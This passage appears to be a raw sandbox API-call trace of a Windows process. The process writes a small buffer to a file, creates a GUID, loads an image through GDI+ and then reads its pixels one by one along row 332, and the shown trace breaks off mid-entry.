[0114.475] WriteFile (in: hFile=0x1b0, lpBuffer=0x261c7e8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x31e27c, lpOverlapped=0x0 | out: lpBuffer=0x261c7e8*, lpNumberOfBytesWritten=0x31e27c*=0x40, lpOverlapped=0x0) returned 1 [0114.476] GetLastError () returned 0xb7 [0114.477] CloseHandle (hObject=0x1b0) returned 1 [0114.478] GetLastError () returned 0xb7 [0114.624] CoCreateGuid (in: pguid=0x31c99c | out: pguid=0x31c99c*(Data1=0x4b063c8e, Data2=0x49ec, Data3=0x474e, Data4=([0]=0x99, [1]=0xa7, [2]=0x65, [3]=0xb0, [4]=0x1f, [5]=0x76, [6]=0x5a, [7]=0x9c))) returned 0x0 [0114.908] GdipLoadImageFromStream (stream=0x200010, image=0x31cb64) returned 0x0 [0114.918] GetLastError () returned 0x0 [0114.918] GdipImageForceValidation (image=0x4932f08) returned 0x0 [0114.927] GetLastError () returned 0x0 [0114.928] GdipGetImageType (image=0x4932f08, type=0x31cb40) returned 0x0 [0114.928] GetLastError () returned 0x0 [0114.928] GdipGetImageRawFormat (image=0x4932f08, format=0x31cac8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0114.928] GetLastError () returned 0x0 [0114.953] GdipGetImageWidth (image=0x4932f08, width=0x31cb40) returned 0x0 [0114.953] GetLastError () returned 0x0 [0114.953] GdipGetImageHeight (image=0x4932f08, height=0x31cb40) returned 0x0 [0114.953] GetLastError () returned 0x0 [0114.954] GdipGetImageHeight (image=0x4932f08, height=0x31cb40) returned 0x0 [0114.954] GetLastError () returned 0x0 [0114.954] GdipGetImageWidth (image=0x4932f08, width=0x31cb40) returned 0x0 [0114.954] GetLastError () returned 0x0 [0114.954] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.954] GetLastError () returned 0x0 [0114.954] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.954] GetLastError () returned 0x0 [0114.954] GdipBitmapGetPixel (bitmap=0x4932f08, x=0, y=332, color=0x31cb2c) returned 0x0 [0114.954] GetLastError () returned 0x0 [0114.954] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.954] GetLastError () returned 0x0 [0114.954] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.954] GetLastError () returned 0x0 [0114.954] GdipBitmapGetPixel (bitmap=0x4932f08, x=1, y=332, color=0x31cb2c) returned 0x0 [0114.954] GetLastError () returned 0x0 [0114.954] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.954] GetLastError () returned 0x0 [0114.954] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.954] GetLastError () returned 0x0 [0114.954] GdipBitmapGetPixel (bitmap=0x4932f08, x=2, y=332, color=0x31cb2c) returned 0x0 [0114.954] GetLastError () returned 0x0 [0114.954] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.954] GetLastError () returned 0x0 [0114.954] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.954] GetLastError () returned 0x0 [0114.954] GdipBitmapGetPixel (bitmap=0x4932f08, x=3, y=332, color=0x31cb2c) returned 0x0 [0114.954] GetLastError () returned 0x0 [0114.954] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.954] GetLastError () returned 0x0 [0114.954] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.954] GetLastError () returned 0x0 [0114.954] GdipBitmapGetPixel (bitmap=0x4932f08, x=4, y=332, color=0x31cb2c) returned 0x0 [0114.954] GetLastError () returned 0x0 [0114.955] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.955] GetLastError () returned 0x0 [0114.955] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.955] GetLastError () returned 0x0 [0114.955] GdipBitmapGetPixel (bitmap=0x4932f08, x=5, y=332, color=0x31cb2c) returned 0x0 [0114.955] GetLastError () returned 0x0 [0114.955] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.955] GetLastError () returned 0x0 [0114.955] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.955] GetLastError () returned 0x0 [0114.955] GdipBitmapGetPixel (bitmap=0x4932f08, x=6, y=332, color=0x31cb2c) returned 0x0 [0114.955] GetLastError () returned 0x0 [0114.955] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.955] GetLastError () returned 0x0 [0114.955] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.955] GetLastError () returned 0x0 [0114.955] GdipBitmapGetPixel (bitmap=0x4932f08, x=7, y=332, color=0x31cb2c) returned 0x0 [0114.955] GetLastError () returned 0x0 [0114.955] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.955] GetLastError () returned 0x0 [0114.955] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.955] GetLastError () returned 0x0 [0114.955] GdipBitmapGetPixel (bitmap=0x4932f08, x=8, y=332, color=0x31cb2c) returned 0x0 [0114.955] GetLastError () returned 0x0 [0114.955] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.955] GetLastError () returned 0x0 [0114.955] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.955] GetLastError () returned 0x0 [0114.955] GdipBitmapGetPixel (bitmap=0x4932f08, x=9, y=332, color=0x31cb2c) returned 0x0 [0114.955] GetLastError () returned 0x0 [0114.955] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.955] GetLastError () returned 0x0 [0114.955] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.956] GetLastError () returned 0x0 [0114.956] GdipBitmapGetPixel (bitmap=0x4932f08, x=10, y=332, color=0x31cb2c) returned 0x0 [0114.956] GetLastError () returned 0x0 [0114.956] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.956] GetLastError () returned 0x0 [0114.956] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.956] GetLastError () returned 0x0 [0114.956] GdipBitmapGetPixel (bitmap=0x4932f08, x=11, y=332, color=0x31cb2c) returned 0x0 [0114.956] GetLastError () returned 0x0 [0114.956] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.956] GetLastError () returned 0x0 [0114.956] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.956] GetLastError () returned 0x0 [0114.956] GdipBitmapGetPixel (bitmap=0x4932f08, x=12, y=332, color=0x31cb2c) returned 0x0 [0114.956] GetLastError () returned 0x0 [0114.956] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.956] GetLastError () returned 0x0 [0114.956] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.956] GetLastError () returned 0x0 [0114.956] GdipBitmapGetPixel (bitmap=0x4932f08, x=13, y=332, color=0x31cb2c) returned 0x0 [0114.956] GetLastError () returned 0x0 [0114.956] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.956] GetLastError () returned 0x0 [0114.956] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.956] GetLastError () returned 0x0 [0114.956] GdipBitmapGetPixel (bitmap=0x4932f08, x=14, y=332, color=0x31cb2c) returned 0x0 [0114.956] GetLastError () returned 0x0 [0114.956] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.956] GetLastError () returned 0x0 [0114.956] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.956] GetLastError () returned 0x0 [0114.956] GdipBitmapGetPixel (bitmap=0x4932f08, x=15, y=332, color=0x31cb2c) returned 0x0 [0114.956] GetLastError () returned 0x0 [0114.956] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.956] GetLastError () returned 0x0 [0114.956] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.957] GetLastError () returned 0x0 [0114.957] GdipBitmapGetPixel (bitmap=0x4932f08, x=16, y=332, color=0x31cb2c) returned 0x0 [0114.957] GetLastError () returned 0x0 [0114.957] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.957] GetLastError () returned 0x0 [0114.957] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.957] GetLastError () returned 0x0 [0114.957] GdipBitmapGetPixel (bitmap=0x4932f08, x=17, y=332, color=0x31cb2c) returned 0x0 [0114.957] GetLastError () returned 0x0 [0114.957] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.957] GetLastError () returned 0x0 [0114.957] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.957] GetLastError () returned 0x0 [0114.957] GdipBitmapGetPixel (bitmap=0x4932f08, x=18, y=332, color=0x31cb2c) returned 0x0 [0114.957] GetLastError () returned 0x0 [0114.957] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.957] GetLastError () returned 0x0 [0114.957] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.957] GetLastError () returned 0x0 [0114.957] GdipBitmapGetPixel (bitmap=0x4932f08, x=19, y=332, color=0x31cb2c) returned 0x0 [0114.957] GetLastError () returned 0x0 [0114.957] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.957] GetLastError () returned 0x0 [0114.957] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.957] GetLastError () returned 0x0 [0114.957] GdipBitmapGetPixel (bitmap=0x4932f08, x=20, y=332, color=0x31cb2c) returned 0x0 [0114.957] GetLastError () returned 0x0 [0114.957] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.957] GetLastError () returned 0x0 [0114.957] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.957] GetLastError () returned 0x0 [0114.957] GdipBitmapGetPixel (bitmap=0x4932f08, x=21, y=332, color=0x31cb2c) returned 0x0 [0114.957] GetLastError () returned 0x0 [0114.957] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.957] GetLastError () returned 0x0 [0114.957] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.957] GetLastError () returned 0x0 [0114.957] GdipBitmapGetPixel (bitmap=0x4932f08, x=22, y=332, color=0x31cb2c) returned 0x0 [0114.957] GetLastError () returned 0x0 [0114.957] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.958] GetLastError () returned 0x0 [0114.958] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.958] GetLastError () returned 0x0 [0114.958] GdipBitmapGetPixel (bitmap=0x4932f08, x=23, y=332, color=0x31cb2c) returned 0x0 [0114.958] GetLastError () returned 0x0 [0114.958] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.958] GetLastError () returned 0x0 [0114.958] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.958] GetLastError () returned 0x0 [0114.958] GdipBitmapGetPixel (bitmap=0x4932f08, x=24, y=332, color=0x31cb2c) returned 0x0 [0114.958] GetLastError () returned 0x0 [0114.958] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.958] GetLastError () returned 0x0 [0114.958] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.958] GetLastError () returned 0x0 [0114.958] GdipBitmapGetPixel (bitmap=0x4932f08, x=25, y=332, color=0x31cb2c) returned 0x0 [0114.958] GetLastError () returned 0x0 [0114.958] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.958] GetLastError () returned 0x0 [0114.958] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.958] GetLastError () returned 0x0 [0114.958] GdipBitmapGetPixel (bitmap=0x4932f08, x=26, y=332, color=0x31cb2c) returned 0x0 [0114.958] GetLastError () returned 0x0 [0114.958] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.958] GetLastError () returned 0x0 [0114.958] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.958] GetLastError () returned 0x0 [0114.958] GdipBitmapGetPixel (bitmap=0x4932f08, x=27, y=332, color=0x31cb2c) returned 0x0 [0114.958] GetLastError () returned 0x0 [0114.958] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.958] GetLastError () returned 0x0 [0114.958] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.958] GetLastError () returned 0x0 [0114.958] GdipBitmapGetPixel (bitmap=0x4932f08, x=28, y=332, color=0x31cb2c) returned 0x0 [0114.958] GetLastError () returned 0x0 [0114.958] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.958] GetLastError () returned 0x0 [0114.958] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.958] GetLastError () returned 0x0 [0114.958] GdipBitmapGetPixel (bitmap=0x4932f08, x=29, y=332, color=0x31cb2c) returned 0x0 [0114.958] GetLastError () returned 0x0 [0114.959] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.959] GetLastError () returned 0x0 [0114.959] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.959] GetLastError () returned 0x0 [0114.959] GdipBitmapGetPixel (bitmap=0x4932f08, x=30, y=332, color=0x31cb2c) returned 0x0 [0114.959] GetLastError () returned 0x0 [0114.959] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.959] GetLastError () returned 0x0 [0114.959] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.959] GetLastError () returned 0x0 [0114.959] GdipBitmapGetPixel (bitmap=0x4932f08, x=31, y=332, color=0x31cb2c) returned 0x0 [0114.959] GetLastError () returned 0x0 [0114.959] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.959] GetLastError () returned 0x0 [0114.959] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.959] GetLastError () returned 0x0 [0114.959] GdipBitmapGetPixel (bitmap=0x4932f08, x=32, y=332, color=0x31cb2c) returned 0x0 [0114.959] GetLastError () returned 0x0 [0114.959] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.959] GetLastError () returned 0x0 [0114.959] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.959] GetLastError () returned 0x0 [0114.959] GdipBitmapGetPixel (bitmap=0x4932f08, x=33, y=332, color=0x31cb2c) returned 0x0 [0114.959] GetLastError () returned 0x0 [0114.959] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.959] GetLastError () returned 0x0 [0114.959] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.959] GetLastError () returned 0x0 [0114.959] GdipBitmapGetPixel (bitmap=0x4932f08, x=34, y=332, color=0x31cb2c) returned 0x0 [0114.959] GetLastError () returned 0x0 [0114.959] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.959] GetLastError () returned 0x0 [0114.959] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.959] GetLastError () returned 0x0 [0114.959] GdipBitmapGetPixel (bitmap=0x4932f08, x=35, y=332, color=0x31cb2c) returned 0x0 [0114.959] GetLastError () returned 0x0 [0114.959] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.959] GetLastError () returned 0x0 [0114.960] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.960] GetLastError () returned 0x0 [0114.960] GdipBitmapGetPixel (bitmap=0x4932f08, x=36, y=332, color=0x31cb2c) returned 0x0 [0114.960] GetLastError () returned 0x0 [0114.960] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.960] GetLastError () returned 0x0 [0114.960] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.960] GetLastError () returned 0x0 [0114.960] GdipBitmapGetPixel (bitmap=0x4932f08, x=37, y=332, color=0x31cb2c) returned 0x0 [0114.960] GetLastError () returned 0x0 [0114.960] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.960] GetLastError () returned 0x0 [0114.960] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.960] GetLastError () returned 0x0 [0114.960] GdipBitmapGetPixel (bitmap=0x4932f08, x=38, y=332, color=0x31cb2c) returned 0x0 [0114.960] GetLastError () returned 0x0 [0114.960] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.960] GetLastError () returned 0x0 [0114.960] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.960] GetLastError () returned 0x0 [0114.960] GdipBitmapGetPixel (bitmap=0x4932f08, x=39, y=332, color=0x31cb2c) returned 0x0 [0114.960] GetLastError () returned 0x0 [0114.960] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.960] GetLastError () returned 0x0 [0114.960] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.960] GetLastError () returned 0x0 [0114.960] GdipBitmapGetPixel (bitmap=0x4932f08, x=40, y=332, color=0x31cb2c) returned 0x0 [0114.960] GetLastError () returned 0x0 [0114.960] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.960] GetLastError () returned 0x0 [0114.960] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.960] GetLastError () returned 0x0 [0114.960] GdipBitmapGetPixel (bitmap=0x4932f08, x=41, y=332, color=0x31cb2c) returned 0x0 [0114.960] GetLastError () returned 0x0 [0114.960] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.960] GetLastError () returned 0x0 [0114.960] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.960] GetLastError () returned 0x0 [0114.960] GdipBitmapGetPixel (bitmap=0x4932f08, x=42, y=332, color=0x31cb2c) returned 0x0 [0114.960] GetLastError () returned 0x0 [0114.960] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.961] GetLastError () returned 0x0 [0114.961] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.961] GetLastError () returned 0x0 [0114.961] GdipBitmapGetPixel (bitmap=0x4932f08, x=43, y=332, color=0x31cb2c) returned 0x0 [0114.961] GetLastError () returned 0x0 [0114.961] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.961] GetLastError () returned 0x0 [0114.961] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.961] GetLastError () returned 0x0 [0114.961] GdipBitmapGetPixel (bitmap=0x4932f08, x=44, y=332, color=0x31cb2c) returned 0x0 [0114.961] GetLastError () returned 0x0 [0114.961] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.961] GetLastError () returned 0x0 [0114.961] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.961] GetLastError () returned 0x0 [0114.961] GdipBitmapGetPixel (bitmap=0x4932f08, x=45, y=332, color=0x31cb2c) returned 0x0 [0114.961] GetLastError () returned 0x0 [0114.961] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.961] GetLastError () returned 0x0 [0114.961] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.961] GetLastError () returned 0x0 [0114.961] GdipBitmapGetPixel (bitmap=0x4932f08, x=46, y=332, color=0x31cb2c) returned 0x0 [0114.961] GetLastError () returned 0x0 [0114.961] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.961] GetLastError () returned 0x0 [0114.961] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.961] GetLastError () returned 0x0 [0114.961] GdipBitmapGetPixel (bitmap=0x4932f08, x=47, y=332, color=0x31cb2c) returned 0x0 [0114.961] GetLastError () returned 0x0 [0114.961] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.961] GetLastError () returned 0x0 [0114.961] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.961] GetLastError () returned 0x0 [0114.961] GdipBitmapGetPixel (bitmap=0x4932f08, x=48, y=332, color=0x31cb2c) returned 0x0 [0114.961] GetLastError () returned 0x0 [0114.961] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.961] GetLastError () returned 0x0 [0114.961] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.961] GetLastError () returned 0x0 [0114.962] GdipBitmapGetPixel (bitmap=0x4932f08, x=49, y=332, color=0x31cb2c) returned 0x0 [0114.962] GetLastError () returned 0x0 [0114.962] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.962] GetLastError () returned 0x0 [0114.962] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.962] GetLastError () returned 0x0 [0114.962] GdipBitmapGetPixel (bitmap=0x4932f08, x=50, y=332, color=0x31cb2c) returned 0x0 [0114.962] GetLastError () returned 0x0 [0114.962] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.962] GetLastError () returned 0x0 [0114.962] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.962] GetLastError () returned 0x0 [0114.962] GdipBitmapGetPixel (bitmap=0x4932f08, x=51, y=332, color=0x31cb2c) returned 0x0 [0114.962] GetLastError () returned 0x0 [0114.962] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.962] GetLastError () returned 0x0 [0114.962] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.962] GetLastError () returned 0x0 [0114.962] GdipBitmapGetPixel (bitmap=0x4932f08, x=52, y=332, color=0x31cb2c) returned 0x0 [0114.962] GetLastError () returned 0x0 [0114.962] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.962] GetLastError () returned 0x0 [0114.962] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.962] GetLastError () returned 0x0 [0114.962] GdipBitmapGetPixel (bitmap=0x4932f08, x=53, y=332, color=0x31cb2c) returned 0x0 [0114.962] GetLastError () returned 0x0 [0114.962] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.962] GetLastError () returned 0x0 [0114.962] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.962] GetLastError () returned 0x0 [0114.962] GdipBitmapGetPixel (bitmap=0x4932f08, x=54, y=332, color=0x31cb2c) returned 0x0 [0114.962] GetLastError () returned 0x0 [0114.962] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.962] GetLastError () returned 0x0 [0114.962] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.962] GetLastError () returned 0x0 [0114.962] GdipBitmapGetPixel (bitmap=0x4932f08, x=55, y=332, color=0x31cb2c) returned 0x0 [0114.962] GetLastError () returned 0x0 [0114.962] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.962] GetLastError () returned 0x0 [0114.962] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.962] GetLastError () returned 0x0 [0114.963] GdipBitmapGetPixel (bitmap=0x4932f08, x=56, y=332, color=0x31cb2c) returned 0x0 [0114.963] GetLastError () returned 0x0 [0114.963] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.963] GetLastError () returned 0x0 [0114.963] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.963] GetLastError () returned 0x0 [0114.963] GdipBitmapGetPixel (bitmap=0x4932f08, x=57, y=332, color=0x31cb2c) returned 0x0 [0114.963] GetLastError () returned 0x0 [0114.963] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.963] GetLastError () returned 0x0 [0114.963] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.963] GetLastError () returned 0x0 [0114.963] GdipBitmapGetPixel (bitmap=0x4932f08, x=58, y=332, color=0x31cb2c) returned 0x0 [0114.963] GetLastError () returned 0x0 [0114.963] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.963] GetLastError () returned 0x0 [0114.963] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.963] GetLastError () returned 0x0 [0114.963] GdipBitmapGetPixel (bitmap=0x4932f08, x=59, y=332, color=0x31cb2c) returned 0x0 [0114.963] GetLastError () returned 0x0 [0114.963] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.963] GetLastError () returned 0x0 [0114.963] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.963] GetLastError () returned 0x0 [0114.963] GdipBitmapGetPixel (bitmap=0x4932f08, x=60, y=332, color=0x31cb2c) returned 0x0 [0114.963] GetLastError () returned 0x0 [0114.963] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.963] GetLastError () returned 0x0 [0114.963] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.963] GetLastError () returned 0x0 [0114.963] GdipBitmapGetPixel (bitmap=0x4932f08, x=61, y=332, color=0x31cb2c) returned 0x0 [0114.963] GetLastError () returned 0x0 [0114.963] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.963] GetLastError () returned 0x0 [0114.963] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.963] GetLastError () returned 0x0 [0114.963] GdipBitmapGetPixel (bitmap=0x4932f08, x=62, y=332, color=0x31cb2c) returned 0x0 [0114.963] GetLastError () returned 0x0 [0114.963] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.963] GetLastError () returned 0x0 [0114.963] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.964] GetLastError () returned 0x0 [0114.964] GdipBitmapGetPixel (bitmap=0x4932f08, x=63, y=332, color=0x31cb2c) returned 0x0 [0114.964] GetLastError () returned 0x0 [0114.964] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.964] GetLastError () returned 0x0 [0114.964] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.964] GetLastError () returned 0x0 [0114.964] GdipBitmapGetPixel (bitmap=0x4932f08, x=64, y=332, color=0x31cb2c) returned 0x0 [0114.964] GetLastError () returned 0x0 [0114.964] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.964] GetLastError () returned 0x0 [0114.964] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.964] GetLastError () returned 0x0 [0114.964] GdipBitmapGetPixel (bitmap=0x4932f08, x=65, y=332, color=0x31cb2c) returned 0x0 [0114.964] GetLastError () returned 0x0 [0114.964] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.964] GetLastError () returned 0x0 [0114.964] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.964] GetLastError () returned 0x0 [0114.964] GdipBitmapGetPixel (bitmap=0x4932f08, x=66, y=332, color=0x31cb2c) returned 0x0 [0114.964] GetLastError () returned 0x0 [0114.964] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.964] GetLastError () returned 0x0 [0114.964] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.964] GetLastError () returned 0x0 [0114.964] GdipBitmapGetPixel (bitmap=0x4932f08, x=67, y=332, color=0x31cb2c) returned 0x0 [0114.964] GetLastError () returned 0x0 [0114.964] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.964] GetLastError () returned 0x0 [0114.964] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.964] GetLastError () returned 0x0 [0114.964] GdipBitmapGetPixel (bitmap=0x4932f08, x=68, y=332, color=0x31cb2c) returned 0x0 [0114.964] GetLastError () returned 0x0 [0114.964] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.964] GetLastError () returned 0x0 [0114.964] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.964] GetLastError () returned 0x0 [0114.964] GdipBitmapGetPixel (bitmap=0x4932f08, x=69, y=332, color=0x31cb2c) returned 0x0 [0114.964] GetLastError () returned 0x0 [0114.964] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.964] GetLastError () returned 0x0 [0114.964] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.965] GetLastError () returned 